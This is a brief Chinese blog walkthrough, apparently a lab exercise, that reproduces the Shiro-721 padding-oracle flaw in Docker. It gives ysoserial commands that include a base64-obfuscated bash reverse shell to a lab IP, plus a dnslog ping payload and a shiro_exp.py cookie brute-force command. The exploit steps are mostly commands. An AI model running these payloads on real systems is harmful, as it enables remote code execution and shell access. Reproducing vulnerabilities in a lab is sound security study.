参考该文章:
https://blog.youkuaiyun.com/weixin_45605352/article/details/116846678
https://blog.youkuaiyun.com/weixin_44283446/article/details/115751848
首先使用docker搭建好shiro漏洞复现的环境:
git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721
访问登录页面:
首先登录后会返回一长串的东西:
看下一个包,会携带着返回的cookie,请求:
生成一个反弹shell到6666端口的命令:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}"
没有相应的jar包可以在网上搜索一下,或者看我之前的文章对这个命令有详细的解释:
https://blog.youkuaiyun.com/carrot11223/article/details/138290328?spm=1001.2014.3001.5502
监听6666端口:
这里我先不反弹shell了,先dnslog一下,先生成一个payload:
java -jar ysoserial.jar CommonsBeanutils1 "ping yokpatwkib.dgrh3.cn" > payload.class
使用shiro_exp进行爆破:
python2 shiro_exp.py http://192.168.220.131:8080/login.jsp dn02+4V8ELKMLgay8k17HfDtU6eHyvqELqEebUmq5911xfqV2+GsXLDNAgG7qPJc1tQypjGVo/AVhJb5qwhe3vH5LBlqT5GLhz6STPMzvLaFG0xQBCNXsTfRgmBm0K2ZDO5SKW7sgFHmB91ayfrofoifYA5hH3CHYmEtZ7SqH1xEXH4/VT6NBe0h9akLvLyyVqPWkYD4Dv8NGA2EamH1vGSF72f3bEtO/9uBwqF69WVP1PhGB+1fZ7DMtBSsF8YvQkx8DbILhbX+jzItYfllnB/F1GfTPa/lCNTDiOcANaajJfB1i9qacQZvKEGXMeWG4Hx5oaRYm2lvgP/0TrohSJLXPyh1tEJTszxS9hdDhXb6QugkPC57jwT/T4aabZIJs4b05P3Ez+sdOGPtWA4QkxUmfUipigA/KuE1uJ2INRIm3YZlNR1sQ6H64YgJpFu5CrpoCLh2lGBP7Ip8IKeXPwDQpMi8E5gnCBVYBxBUNJ6cs4Y2h+iDpeu/mjAEgkJX payload.class
shiro_exp.py 的地址是:https://github.com/wuppp/shiro_rce_exp
需要使用pip2 install requests
中间一大串东西,就是返回的cookie里面的rememberme的部分,让它作为前缀,然后去爆破,爆破需要一个小时左右,需要耐心等待,爆破成功之后就停止,并且返回cookie。
最后跑出了cookies:
拼接的到之前的请求包中:
按理说dnslog可以收到请求,但是本人并没有收到,小丑实锤了!这个我等会儿再试试,现在主要研究一下漏洞原理,不然面试官问你,你啥也不知道(是我)